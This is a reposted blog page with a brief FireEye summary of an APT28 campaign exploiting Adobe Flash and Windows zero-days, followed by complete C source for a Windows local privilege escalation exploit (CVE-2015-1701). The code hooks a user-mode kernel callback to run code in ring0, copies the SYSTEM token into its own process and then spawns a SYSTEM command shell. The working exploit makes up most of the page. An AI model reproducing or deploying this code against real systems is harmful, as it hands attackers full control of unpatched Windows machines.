• Exploits Likely Leveraged by Russia’s APT28 in Highly-Targeted Attack


    FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows. Using the Dynamic Threat Intelligence Cloud (DTI), FireEye researchers detected a pattern of attacks beginning on April 13th, 2015. Adobe independently patched the vulnerability (CVE-2015-3043) in APSB15-06. Through correlation of technical indicators and command and control infrastructure, FireEye assess that APT28 is probably responsible for this activity.

    Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows (CVE-2015-1701). While there is not yet a patch available for the Windows vulnerability, updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous. We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043. The Microsoft Security Team is working on a fix for CVE-2015-1701.

    /*******************************************************************************
    *
    *  (C) COPYRIGHT AUTHORS, 2015
    *
    *  TITLE:       MAIN.C
    *
    *  VERSION:     1.00
    *
    *  DATE:        10 May 2015
    *
    * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
    * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
    * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
    * PARTICULAR PURPOSE.
    *
    *******************************************************************************/
    
    //Disable nonmeaningful warnings.
    #pragma warning(disable: 4005) // macro redefinition
    #pragma warning(disable: 4054) // 'type cast' : from function pointer %s to data pointer %s
    #pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression
    #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
    
    #define OEMRESOURCE
    #include <Windows.h>
    #include <ntstatus.h>
    #include "ntos.h"
    #include "minirtlminirtl.h"
    
    #define TYPE_WINDOW 1
    #define HMUNIQSHIFT 16
    
    typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
    typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process);
    
    typedef PVOID    PHEAD;
    
    typedef struct _HANDLEENTRY {
        PHEAD   phead;  // Pointer to the Object.
        PVOID   pOwner; // PTI or PPI
        BYTE    bType;  // Object handle type
        BYTE    bFlags; // Flags
        WORD    wUniq;  // Access count.
    } HANDLEENTRY, *PHANDLEENTRY;
    
    typedef struct _SERVERINFO {
        WORD            wRIPFlags;
        WORD            wSRVIFlags;
        WORD            wRIPPID;
        WORD            wRIPError;
        ULONG           cHandleEntries;
        // incomplete
    } SERVERINFO, *PSERVERINFO;
    
    typedef struct _SHAREDINFO {
        PSERVERINFO        psi;
        PHANDLEENTRY    aheList;
        ULONG            HeEntrySize;
        // incomplete
    } SHAREDINFO, *PSHAREDINFO;
    
    static const TCHAR    MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
    
    pPLPBPI                        g_PsLookupProcessByProcessIdPtr = NULL;
    pUser32_ClientCopyImage        g_originalCCI = NULL;
    PVOID                        g_ppCCI = NULL, g_w32theadinfo = NULL;
    int                            g_shellCalled = 0;
    DWORD                        g_OurPID;
    DWORD                        g_EPROCESS_TokenOffset = 0;
    
    /*
    * supGetSystemInfo
    *
    * Purpose:
    *
    * Returns buffer with system information by given InfoClass.
    *
    * Returned buffer must be freed with HeapFree after usage.
    * Function will return error after 100 attempts.
    *
    */
    PVOID supGetSystemInfo(
        _In_ SYSTEM_INFORMATION_CLASS InfoClass
        )
    {
        INT            c = 0;
        PVOID        Buffer = NULL;
        ULONG        Size = 0x1000;
        NTSTATUS    status;
        ULONG       memIO;
    
        do {
            Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);
            if (Buffer != NULL) {
                status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
            }
            else {
                return NULL;
            }
            if (status == STATUS_INFO_LENGTH_MISMATCH) {
                HeapFree(GetProcessHeap(), 0, Buffer);
                Size *= 2;
            }
            c++;
            if (c > 100) {
                status = STATUS_SECRET_TOO_LONG;
                break;
            }
        } while (status == STATUS_INFO_LENGTH_MISMATCH);
    
        if (NT_SUCCESS(status)) {
            return Buffer;
        }
    
        if (Buffer) {
            HeapFree(GetProcessHeap(), 0, Buffer);
        }
        return NULL;
    }
    
    /*
    * supIsProcess32bit
    *
    * Purpose:
    *
    * Return TRUE if given process is under WOW64, FALSE otherwise.
    *
    */
    BOOLEAN supIsProcess32bit(
        _In_ HANDLE hProcess
        )
    {
        NTSTATUS status;
        PROCESS_EXTENDED_BASIC_INFORMATION pebi;
    
        if (hProcess == NULL) {
            return FALSE;
        }
    
        //query if this is wow64 process
        RtlSecureZeroMemory(&pebi, sizeof(pebi));
        pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
        status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
        if (NT_SUCCESS(status)) {
            return (pebi.IsWow64Process == 1);
        }
        return FALSE;
    }
    
    /*
    * GetPsLookupProcessByProcessId
    *
    * Purpose:
    *
    * Return address of PsLookupProcessByProcessId routine to be used next by shellcode.
    *
    */
    ULONG_PTR GetPsLookupProcessByProcessId(
        VOID
        )
    {
        BOOL                        cond = FALSE;
        ULONG                        rl = 0;
        PVOID                        MappedKernel = NULL;
        ULONG_PTR                    KernelBase = 0L, FuncAddress = 0L;
        PRTL_PROCESS_MODULES        miSpace = NULL;
        CHAR                        KernelFullPathName[MAX_PATH * 2];
    
    
        do {
    
            miSpace = supGetSystemInfo(SystemModuleInformation);
            if (miSpace == NULL) {
                break;
            }
    
            if (miSpace->NumberOfModules == 0) {
                break;
            }
    
            rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
            if (rl == 0) {
                break;
            }
    
            KernelFullPathName[rl] = (CHAR)'\';
            _strcpy_a(&KernelFullPathName[rl + 1],
                (const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
            KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
            HeapFree(GetProcessHeap(), 0, miSpace);
            miSpace = NULL;
    
            MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES);
            if (MappedKernel == NULL) {
                break;
            }
    
            FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
            FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;
    
        } while (cond);
    
        if (MappedKernel != NULL) {
            FreeLibrary(MappedKernel);
        }
        if (miSpace != NULL) {
            HeapFree(GetProcessHeap(), 0, miSpace);
        }
    
        return FuncAddress;
    }
    
    /*
    * GetFirstThreadHWND
    *
    * Purpose:
    *
    * Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
    *
    */
    HWND GetFirstThreadHWND(
        VOID
        )
    {
        PSHAREDINFO        pse;
        HMODULE            huser32;
        PHANDLEENTRY    List;
        ULONG_PTR        c, k;
    
        huser32 = GetModuleHandle(TEXT("user32.dll"));
        if (huser32 == NULL)
            return 0;
    
        pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");
        if (pse == NULL)
            return 0;
    
        List = pse->aheList;
        k = pse->psi->cHandleEntries;
    
        if (pse->HeEntrySize != sizeof(HANDLEENTRY))
            return 0;
    
        //
        // Locate, convert and return hwnd for current thread.
        //
        for (c = 0; c < k; c++)
            if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
                return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
            }
    
        return 0;
    }
    
    /*
    * StealProcessToken
    *
    * Purpose:
    *
    * Copy system token to current process object.
    *
    */
    NTSTATUS NTAPI StealProcessToken(
        VOID
        )
    {
        NTSTATUS Status;
        PVOID CurrentProcess = NULL;
        PVOID SystemProcess = NULL;
    
        Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess);
        if (NT_SUCCESS(Status)) {
            Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);
            if (NT_SUCCESS(Status)) {
                if (g_EPROCESS_TokenOffset) {
                    *(PVOID *)((PBYTE)CurrentProcess + g_EPROCESS_TokenOffset) = *(PVOID *)((PBYTE)SystemProcess + g_EPROCESS_TokenOffset);
                }
            }
        }
        return Status;
    }
    
    
    /*
    * MainWindowProc
    *
    * Purpose:
    *
    * To be called in ring0.
    *
    */
    LRESULT CALLBACK MainWindowProc(
        _In_ HWND hwnd,
        _In_ UINT uMsg,
        _In_ WPARAM wParam,
        _In_ LPARAM lParam
        )
    {
        UNREFERENCED_PARAMETER(hwnd);
        UNREFERENCED_PARAMETER(uMsg);
        UNREFERENCED_PARAMETER(wParam);
        UNREFERENCED_PARAMETER(lParam);
    
        if (g_shellCalled == 0) {
            StealProcessToken();
            g_shellCalled = 1;
        }
    
        return 0;
    }
    
    /*
    * hookCCI
    *
    * Purpose:
    *
    * _ClientCopyImage hook handler.
    *
    */
    NTSTATUS NTAPI hookCCI(
        PVOID p
        )
    {
        InterlockedExchangePointer(g_ppCCI, g_originalCCI); //restore original callback
    
        SetWindowLongPtr(GetFirstThreadHWND(), GWLP_WNDPROC, (LONG_PTR)&DefWindowProc);
    
        return g_originalCCI(p);
    }
    
    /*
    * main
    *
    * Purpose:
    *
    * Program entry point.
    *
    */
    void main()
    {
    
        PTEB            teb = NtCurrentTeb();
        PPEB            peb = teb->ProcessEnvironmentBlock;
        WNDCLASSEX        wincls;
        HINSTANCE        hinst = GetModuleHandle(NULL);
        BOOL            rv = TRUE;
        MSG                msg1;
        ATOM            class_atom;
        HWND            MainWindow;
        DWORD            prot;
        OSVERSIONINFOW    osver;
    
        DWORD                    cch;
        TCHAR                    cmdbuf[MAX_PATH * 2], sysdir[MAX_PATH + 1];
        STARTUPINFO                startupInfo;
        PROCESS_INFORMATION        processInfo;
    
    
        RtlSecureZeroMemory(&osver, sizeof(osver));
        osver.dwOSVersionInfoSize = sizeof(osver);
        RtlGetVersion(&osver);
        
        if (osver.dwBuildNumber > 7601) {
            ExitProcess((UINT)-1);
            return;
        }
    
        if (supIsProcess32bit(GetCurrentProcess())) {
            ExitProcess((UINT)-2);
            return;
        }
    
        g_OurPID = GetCurrentProcessId();
        g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
    
    #ifdef _WIN64
        g_EPROCESS_TokenOffset = 0x208;
    #else
        g_EPROCESS_TokenOffset = 0xF8;
    #endif
    
    
        if (g_PsLookupProcessByProcessIdPtr == NULL) {
            ExitProcess((UINT)-3);
            return;
        }
    
        RtlSecureZeroMemory(&wincls, sizeof(wincls));
        wincls.cbSize = sizeof(WNDCLASSEX);
        wincls.lpfnWndProc = &MainWindowProc;
        wincls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
        wincls.lpszClassName = MAINWINDOWCLASSNAME;
    
        class_atom = RegisterClassEx(&wincls);
        while (class_atom) {
    
            g_w32theadinfo = teb->Win32ThreadInfo;
    
            g_ppCCI = &((PVOID *)peb->KernelCallbackTable)[0x36]; //  <--- User32_ClientCopyImage INDEX
        
            if (!VirtualProtect(g_ppCCI, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) {
                break;
            }
            g_originalCCI = InterlockedExchangePointer(g_ppCCI, &hookCCI);
    
            MainWindow = CreateWindowEx(0, MAKEINTATOM(class_atom),
                NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
    
            if (g_shellCalled == 1) {
    
                RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
                RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
                startupInfo.cb = sizeof(startupInfo);
                GetStartupInfo(&startupInfo);
    
                RtlSecureZeroMemory(sysdir, sizeof(sysdir));
                cch = ExpandEnvironmentStrings(TEXT("%systemroot%\system32\"), sysdir, MAX_PATH);
                if ((cch != 0) && (cch < MAX_PATH)) {
                    RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
                    _strcpy(cmdbuf, sysdir);
                    _strcat(cmdbuf, TEXT("cmd.exe"));
    
                    if (CreateProcess(cmdbuf, NULL, NULL, NULL, FALSE, 0, NULL,
                        sysdir, &startupInfo, &processInfo))
                    {
                        CloseHandle(processInfo.hProcess);
                        CloseHandle(processInfo.hThread);
                    }
                }
    
            }
            else {
                OutputDebugString(TEXT(" Failed 
    "));
            }
    
            if (!MainWindow)
                break;
    
            do {
                rv = GetMessage(&msg1, NULL, 0, 0);
    
                if (rv == -1)
                    break;
    
                TranslateMessage(&msg1);
                DispatchMessage(&msg1);
            } while (rv != 0);
    
            break;
        }
    
        if (class_atom)
            UnregisterClass(MAKEINTATOM(class_atom), hinst);
    
        ExitProcess(0);
    }


  • 相关阅读:
    windows照样命令行gcc/g++
    我的Linux(Ubuntu)首秀
    简单分频原理与实现——计数器
    时序分析之Arrival Time
    DDS正弦信号发生器
    C/C++ 预处理器
    时序分析之Slack
    iOS单例
    static
    深浅拷贝
  • 原文地址:https://www.cnblogs.com/jiancanxuepiao/p/4501051.html
Copyright © 2020-2023  润新知